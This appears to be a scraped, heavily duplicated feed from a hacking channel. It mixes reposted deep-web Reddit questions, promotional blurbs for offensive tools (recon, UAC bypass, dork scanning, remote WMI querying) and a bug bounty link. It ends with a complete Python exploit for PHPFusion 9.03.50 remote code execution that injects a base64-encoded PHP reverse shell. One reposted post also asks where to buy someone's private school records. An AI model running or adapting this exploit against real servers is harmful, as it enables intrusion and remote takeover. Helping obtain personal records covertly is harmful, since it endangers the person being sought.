Deep Web
do you know any Chan .onion?
Please send the link, I am very curious to see how it is
submitted by /u/Pepedro890
[link] [comments]
do you know any Chan .onion?
Please send the link, I am very curious to see how it is
submitted by /u/Pepedro890
[link] [comments]
Reddit
From the deepweb community on Reddit
Explore this post and more from the deepweb community
Deep Web
Looking for an Old Friend
I'm currently looking for an old friend of mine but I forget their last name and the school we went to wont release registrar information to me. Would anyone know how I can go about contacting someone who sells a service where they can get me this information?
submitted by /u/crimmson_ghost
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Looking for an Old Friend
I'm currently looking for an old friend of mine but I forget their last name and the school we went to wont release registrar information to me. Would anyone know how I can go about contacting someone who sells a service where they can get me this information?
submitted by /u/crimmson_ghost
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Looking for an Old Friend
I'm currently looking for an old friend of mine but I forget their last name and the school we went to wont release registrar information to me....
AnalyticsRelationships - Get Related Domains / Subdomains By Looking At Google Analytics IDs
subdomains by looking at Google Analytics IDs > Python/GO versions > By @JosueEncinar ">> Get related domains / subdomains by looking at Google Analytics IDs> Python/GO versions> By @JosueEncinar This script try to get related domains / subdomains by looking at Google Analytics IDs from a URL. First search for ID of Google Analytics in the webpage and then request to builtwith with the ID. Note: It does not work with all websites.It is searched by the following expressions: -> "www\.googletagmanager\.com/ns\.html\?id=A-Z0-9\-+"-> GTM-A-Z0-9+-> "UA-\d+-\d+" Available versions: Python GO Installation: Installation according to language. Python > git clone https://github.com/Josue87/AnalyticsRelationships.git> cd AnalyticsRelationships/Python> sudo pip3 install -r requirements.txt GO > git clone https://github.com/Josue87/AnalyticsRelationships.git> cd AnalyticsRelationships/GO> go build -ldflags "-s -w" Usage Usage according to language Python > python3 analyticsrelationships.py -u https://www.example.com Or redirect output to a file (banner or information messages are sent to the error output): python3 analyticsrelationships.py -u https://www.example.com > /tmp/example.txt GO > ./analyticsrelationships --url https://www.example.com Or redirect output to a file (banner or information messages are sent to the error output): > ./analyticsrelationships --url https://www.example.com > /tmp/example.txt Examples Python Output redirection to file /tmp/example.txt: Without redirection:GO Without redirection: Working with file redirection works just like in Python. Author This project has been developed by: Josué Encinar García -- @JosueEncinar Disclaimer! This is a PoC. The author is not responsible for any illegitimate use. Download AnalyticsRelationships
Read more...
___________________________
@hacking_Attack
@Hacking_Video
subdomains by looking at Google Analytics IDs > Python/GO versions > By @JosueEncinar ">> Get related domains / subdomains by looking at Google Analytics IDs> Python/GO versions> By @JosueEncinar This script try to get related domains / subdomains by looking at Google Analytics IDs from a URL. First search for ID of Google Analytics in the webpage and then request to builtwith with the ID. Note: It does not work with all websites.It is searched by the following expressions: -> "www\.googletagmanager\.com/ns\.html\?id=A-Z0-9\-+"-> GTM-A-Z0-9+-> "UA-\d+-\d+" Available versions: Python GO Installation: Installation according to language. Python > git clone https://github.com/Josue87/AnalyticsRelationships.git> cd AnalyticsRelationships/Python> sudo pip3 install -r requirements.txt GO > git clone https://github.com/Josue87/AnalyticsRelationships.git> cd AnalyticsRelationships/GO> go build -ldflags "-s -w" Usage Usage according to language Python > python3 analyticsrelationships.py -u https://www.example.com Or redirect output to a file (banner or information messages are sent to the error output): python3 analyticsrelationships.py -u https://www.example.com > /tmp/example.txt GO > ./analyticsrelationships --url https://www.example.com Or redirect output to a file (banner or information messages are sent to the error output): > ./analyticsrelationships --url https://www.example.com > /tmp/example.txt Examples Python Output redirection to file /tmp/example.txt: Without redirection:GO Without redirection: Working with file redirection works just like in Python. Author This project has been developed by: Josué Encinar García -- @JosueEncinar Disclaimer! This is a PoC. The author is not responsible for any illegitimate use. Download AnalyticsRelationships
Read more...
___________________________
@hacking_Attack
@Hacking_Video
GitHub
GitHub - Josue87/AnalyticsRelationships: Get related domains / subdomains by looking at Google Analytics IDs
Get related domains / subdomains by looking at Google Analytics IDs - Josue87/AnalyticsRelationships
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
3KLCON : Automation Recon Tool Which Works With Large & Medium Scope
3KLCON is a Full Automation Recon tool which works with Small and Medium scopes. ّIt’s recommended to use it on VPS, it’ll discover secrets and searching for vulnerabilities. So, Welcome and let’s deep into it <3
The post 3KLCON : Automation Recon Tool Which Works With Large & Medium Scope appeared first on Kali Linux Tutorials.
___________________________
@hacking_Attack
@Hacking_Video
3KLCON : Automation Recon Tool Which Works With Large & Medium Scope
3KLCON is a Full Automation Recon tool which works with Small and Medium scopes. ّIt’s recommended to use it on VPS, it’ll discover secrets and searching for vulnerabilities. So, Welcome and let’s deep into it <3
The post 3KLCON : Automation Recon Tool Which Works With Large & Medium Scope appeared first on Kali Linux Tutorials.
___________________________
@hacking_Attack
@Hacking_Video
Kali Linux Tutorials
3KLCON : Automation Recon Tool Works With Large And Medium Scope
3KLCON is a full Automation Recon tool which works with Small and Medium scopes. It's recommended to use it on VPS, it'll discover secrets .
Hacking Articles Tips Tricks Videos Tutorials
GIF
Kali Linux Tutorials
ByeIntegrity UAC : Bypass UAC By Hijacking A DLL Located In The Native Image Cache
ByeIntegrity UAC is a tool used to bypass user account control (UAC) to gain elevated (Administrator) privileges to run any program at a high integrity level. Requirements Administrator account UAC notification level set to default or lower How It Works ByeIntegrity hijacks a DLL located in the Native Image Cache (NIC). The NIC is used […]
The post ByeIntegrity UAC : Bypass UAC By Hijacking A DLL Located In The Native Image Cache appeared first on Kali Linux Tutorials.
___________________________
@hacking_Attack
@Hacking_Video
ByeIntegrity UAC : Bypass UAC By Hijacking A DLL Located In The Native Image Cache
ByeIntegrity UAC is a tool used to bypass user account control (UAC) to gain elevated (Administrator) privileges to run any program at a high integrity level. Requirements Administrator account UAC notification level set to default or lower How It Works ByeIntegrity hijacks a DLL located in the Native Image Cache (NIC). The NIC is used […]
The post ByeIntegrity UAC : Bypass UAC By Hijacking A DLL Located In The Native Image Cache appeared first on Kali Linux Tutorials.
___________________________
@hacking_Attack
@Hacking_Video
Kali Linux Tutorials
ByeIntegrity UAC : Bypass UAC By Hijacking A DLL
ByeIntegrity UAC is a tool used to bypass user account control (UAC) to gain elevated (Administrator) privileges to run any program
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
APSoft Web Scanner V2 : Powerful Dork Searcher & Vulnerability Scanner For Windows Platform
APSoft Web Scanner V2 is a tool for Powerful Dork Searcher And Vulnerability Scanner For Windows Platform. Software Pictures What Can I Do With This ? with this software, you will be able to search your dorks in supported search engines and scan grabbed urls to find their vulnerabilities. in addition , you will be able to […]
The post APSoft Web Scanner V2 : Powerful Dork Searcher & Vulnerability Scanner For Windows Platform appeared first on Kali Linux Tutorials.
___________________________
@hacking_Attack
@Hacking_Video
APSoft Web Scanner V2 : Powerful Dork Searcher & Vulnerability Scanner For Windows Platform
APSoft Web Scanner V2 is a tool for Powerful Dork Searcher And Vulnerability Scanner For Windows Platform. Software Pictures What Can I Do With This ? with this software, you will be able to search your dorks in supported search engines and scan grabbed urls to find their vulnerabilities. in addition , you will be able to […]
The post APSoft Web Scanner V2 : Powerful Dork Searcher & Vulnerability Scanner For Windows Platform appeared first on Kali Linux Tutorials.
___________________________
@hacking_Attack
@Hacking_Video
Kali Linux Tutorials
APSoft Web Scanner V2 : Powerful Dork Searcher & Vulnerability Scanner For Windows
APSoft-Web-Scanner-v2 is a tool for Powerful Dork Searcher And Vulnerability Scanner For Windows Platform. with this, you will be able to search your dorks .
Kali Linux Tutorials
CIMplant : C# Port Of WMImplant Which Uses Either CIM Or WMI To Query Remote Systems
C# port of WMImplant which uses either CIM or WMI to query remote systems. It can use provided credentials or the current user’s session. Note: Some commands will use PowerShell in combination with WMI, denoted with ** in the --show-commands command. Introduction CIMplant is a C# rewrite and expansion on @christruncer‘s WMImplant. It allows you to gather data about […]
The post CIMplant : C# Port Of WMImplant Which Uses Either CIM Or WMI To Query Remote Systems appeared first on Kali Linux Tutorials.
___________________________
@hacking_Attack
@Hacking_Video
CIMplant : C# Port Of WMImplant Which Uses Either CIM Or WMI To Query Remote Systems
C# port of WMImplant which uses either CIM or WMI to query remote systems. It can use provided credentials or the current user’s session. Note: Some commands will use PowerShell in combination with WMI, denoted with ** in the --show-commands command. Introduction CIMplant is a C# rewrite and expansion on @christruncer‘s WMImplant. It allows you to gather data about […]
The post CIMplant : C# Port Of WMImplant Which Uses Either CIM Or WMI To Query Remote Systems appeared first on Kali Linux Tutorials.
___________________________
@hacking_Attack
@Hacking_Video
Kali Linux Tutorials
CIMplant : C# Port Of WMImplant Which Uses Either CIM Or WMI
C# port of WMImplant which uses either CIM or WMI to query remote systems. It can use provided credentials or the current user's session.
Bug Bounty Update: Introducing our Most Valuable Hackers!
https://medium.com/uber-security-privacy/bug-bounty-update-introducing-our-most-valuable-hackers-248f03ffd589?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
https://medium.com/uber-security-privacy/bug-bounty-update-introducing-our-most-valuable-hackers-248f03ffd589?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
Medium
Bug Bounty Update: Introducing our Most Valuable Hackers!
Sharing updates from our promo event and spotlighting our top hackers.
Sharing updates from our promo event and spotlighting our top hackers.Continue reading on Uber Privacy & Security » (https://medium.com/uber-security-privacy/bug-bounty-update-introducing-our-most-valuable-hackers-248f03ffd589?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
Medium
Bug Bounty Update: Introducing our Most Valuable Hackers!
Sharing updates from our promo event and spotlighting our top hackers.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
PHPFusion 9.03.50 Remote Code Execution
https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
PHPFusion version 9.03.50 suffers from a remote code execution vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
PHPFusion 9.03.50 Remote Code Execution
https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
PHPFusion version 9.03.50 suffers from a remote code execution vulnerability.
MD5 |
7b268932c3f92c2d35fb62cadc94ca0dDownload
# Exploit Title: PHPFusion 9.03.50 - Remote Code Execution
# Date: 20/05/2021
# Exploit Author: g0ldm45k
# Vendor Homepage: https://www.php-fusion.co.uk/home.php
# Software Link: https://www.php-fusion.co.uk/infusions/downloads/downloads.php?cat_id=30&download_id=606
# Version: 9.03.50
# Tested on: Docker + Debian GNU/Linux 8 (jessie)
# CVE : CVE-2020-24949
# Found by: ThienNV
import requests
import base64
import argparse
PAYLOAD = "php -r '$sock=fsockopen(\"127.0.0.1\",4444);exec(\"/bin/sh -i <&4&4 2>&4\");' " # !!spaces are important in order to avoid ==!!
REQUEST_PAYLOAD = "/infusions/downloads/downloads.php?cat_id=$\{{system(base64_decode({})).exit\}}"
parser = argparse.ArgumentParser(description='Send a payload to a Fusion 9.03.50 server with "Allow PHP Execution" enabled.')
parser.add_argument('target', type=str, help='Turn the Allow PHP Execution verification step on or off.')
parser.add_argument("-v", "--no-verify", action="store_false")
args = parser.parse_args()
if args.target.startswith("http://") or args.target.startswith("https://"):
target = args.target
else:
print("[!] Target should start with either http:// or https://")
exit()
# verify payload
PAYLOAD_B64 = base64.b64encode(PAYLOAD.encode('ascii')).decode("ascii")
if '+' in PAYLOAD_B64 or '=' in PAYLOAD_B64:
print("[!] Invalid payload, make sure it does not contain a + or a =!")
exit()
# verify vulnerable host
if args.no_verify:
page_data = requests.get(target + "/infusions/downloads/downloads.php?cat_id=${system(ls)}")
if "infusion_db.php" not in page_data.text:
print("[!] Can't seem to find infusion_db.php. QUITTING!")
print("[!] If this validation is wrong just use the --no-verify flag.")
exit()
# send request
requests.get(target + REQUEST_PAYLOAD.format(PAYLOAD_B64))
print("[*] Requests send, did you get what you wanted?")
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
PHPFusion 9.03.50 Remote Code Execution
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.